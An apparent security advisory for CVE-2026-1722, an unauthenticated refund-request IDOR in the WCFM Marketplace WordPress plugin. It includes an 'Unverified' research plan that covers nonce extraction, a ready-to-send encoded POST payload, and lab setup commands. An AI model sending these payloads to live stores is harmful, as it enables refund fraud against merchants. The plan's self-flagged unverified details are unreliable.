CVE-2026-1722

WCFM Marketplace <= 3.7.0 - Insecure Direct Object Reference to Unauthenticated Arbitrary Refund Request Creation

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.7.1
Patched in
1d
Time to patch

Description

The WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.7.0. This is due to the plugin not implementing authorization checks in the `wcfm-refund-requests-form` AJAX controller. This makes it possible for unauthenticated attackers to create arbitrary refund requests for any order ID and item ID, potentially leading to financial loss if automatic refund approval is enabled in the plugin settings.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.7.0
PublishedFebruary 9, 2026
Last updatedFebruary 10, 2026

What Changed in the Fix

Changes introduced in v3.7.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

### 1. Vulnerability Summary The WCFM Marketplace plugin (up to version 3.7.0) contains an Insecure Direct Object Reference (IDOR) vulnerability due to missing authorization checks in the `wcfm-refund-requests-form` AJAX controller. The plugin exposes a central AJAX routing mechanism through the `wc…

Show full research plan

1. Vulnerability Summary

The WCFM Marketplace plugin (up to version 3.7.0) contains an Insecure Direct Object Reference (IDOR) vulnerability due to missing authorization checks in the wcfm-refund-requests-form AJAX controller. The plugin exposes a central AJAX routing mechanism through the wcfm_ajax_controller action. When the controller parameter is set to wcfm-refund-requests-form, the logic in controllers/refund/wcfmmp-controller-refund-requests-form.php is executed.

This controller fails to verify if the current user has permissions to request a refund for a specific order or item. Furthermore, if the wp_ajax_nopriv_wcfm_ajax_controller hook is enabled (standard in WCFM for certain frontend features), unauthenticated attackers can create arbitrary refund requests by providing a valid order ID and item ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wcfm_ajax_controller (triggered via wp_ajax_ or wp_ajax_nopriv_)
  • Vulnerable Controller: wcfm-refund-requests-form
  • Payload Parameter: wcfm_refund_requests_form (a URL-encoded string of form data parsed via parse_str)
  • Authentication: Unauthenticated (if nopriv is active) or Subscriber-level.
  • Preconditions:
    1. A valid order_id (WooCommerce Order).
    2. A valid item_id (WooCommerce Line Item ID) associated with that order.
    3. A valid wcfm_ajax_nonce.

3. Code Flow

  1. Entry Point: The request hits admin-ajax.php with action=wcfm_ajax_controller and controller=wcfm-refund-requests-form.
  2. Routing: The plugin includes controllers/refund/wcfmmp-controller-refund-requests-form.php and instantiates WCFMmp_Refund_Requests_Form_Controller.
  3. Parsing: The constructor calls processing(). The function uses parse_str($_POST['wcfm_refund_requests_form'], $wcfm_refund_tab_form_data) to extract parameters.
  4. Parameter Extraction:
    • $order_id = absint( $wcfm_refund_tab_form_data['wcfm_refund_order_id'] );
    • $wcfm_refund_inputs = wc_clean( $wcfm_refund_tab_form_data['wcfm_refund_input'] );
  5. Logic:
    • It iterates through $wcfm_refund_inputs to find the line item ID: $refund_item_id = absint( $wcfm_refund_input['item'] );.
    • It retrieves the product and vendor ID: $vendor_id = wcfm_get_vendor_id_by_post( $product_id );.
    • It fetches the commission ID from the database using $wpdb->prefix . 'wcfm_marketplace_orders'.
  6. Sink: It calls $WCFMmp->wcfmmp_refund->wcfmmp_refund_processed(...), which inserts a refund request into the marketplace refund table without verifying if the requester is the owner of the order or a legitimate vendor/admin.

4. Nonce Acquisition Strategy

The wcfm_ajax_nonce is required. WCFM enqueues this nonce in the wcfm_params JavaScript object on pages where marketplace functionality is loaded.

  1. Identify Target Page: The WCFM Store List or an individual Store page usually loads the necessary scripts.
  2. Shortcode Setup: Create a page with the store list shortcode to ensure the script is enqueued.
    • wp post create --post_type=page --post_status=publish --post_title="Stores" --post_content='[wcfmmp_store_list]'
  3. Extraction:
    • Navigate to the newly created /stores page.
    • Use browser_eval to extract the nonce.
    • JS Variable: window.wcfm_params?.wcfm_ajax_nonce or window.wcfm_dashboard_messages?.wcfm_ajax_nonce.

5. Exploitation Strategy

The exploit involves sending a crafted POST request to the AJAX endpoint.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: wcfm_ajax_controller
    • controller: wcfm-refund-requests-form
    • wcfm_ajax_nonce: [EXTRACTED_NONCE]
    • wcfm_refund_requests_form: A URL-encoded string containing:
      • wcfm_refund_reason=Unsatisfied+with+service
      • wcfm_refund_order_id=[ORDER_ID]
      • wcfm_refund_request=full
      • wcfm_refund_input[0][item]=[ITEM_ID]

Payload Construction Example:

action=wcfm_ajax_controller&controller=wcfm-refund-requests-form&wcfm_ajax_nonce=abc123def4&wcfm_refund_requests_form=wcfm_refund_reason%3DExploit%26wcfm_refund_order_id%3D10%26wcfm_refund_request%3Dfull%26wcfm_refund_input%5B0%5D%5Bitem%5D%3D5

6. Test Data Setup

  1. Plugins: Ensure woocommerce and wc-multivendor-marketplace (<= 3.7.0) are active.
  2. Users:
    • Create a Vendor user.
    • Create a Customer user.
  3. Product: Create a product and assign it to the Vendor.
  4. Order: As the Customer, purchase the product.
  5. IDs:
    • Get the Order ID: wp post list --post_type=shop_order --format=ids
    • Get the Line Item ID: Use wp db query "SELECT order_item_id FROM wp_woocommerce_order_items WHERE order_id = [ORDER_ID] LIMIT 1;"
  6. Public Page: Create a page with [wcfmmp_store_list] to leak the nonce.

7. Expected Results

  • The server should respond with a JSON object containing "status": true.
  • A new entry should appear in the WCFM refund requests table.
  • If the plugin is configured for automatic refunds, the order status might change to 'refunded', or a notification will be sent to the admin/vendor.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT * FROM wp_wcfm_marketplace_refund_requests ORDER BY ID DESC LIMIT 1;"
    
    Verify that the order_id and item_id match the exploited values.
  2. Check Order Notes:
    wp post cache get [ORDER_ID] --post_type=shop_order
    # Or check comments/notes
    wp comment list --post_id=[ORDER_ID]
    
    Look for notes regarding a new refund request.

9. Alternative Approaches

If wcfm_ajax_nonce is not found in wcfm_params, search for other localized objects:

  1. wcfm_dashboard_messages
  2. wcfm_core_params
  3. If full refund fails due to tax validation, try a partial refund:
    • Append &wcfm_refund_input[0][qty]=1&wcfm_refund_input[0][total]=0.01 to the wcfm_refund_requests_form string.
  4. Check if the wcfm_refund_tax_input parameter is required if taxes are enabled on the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.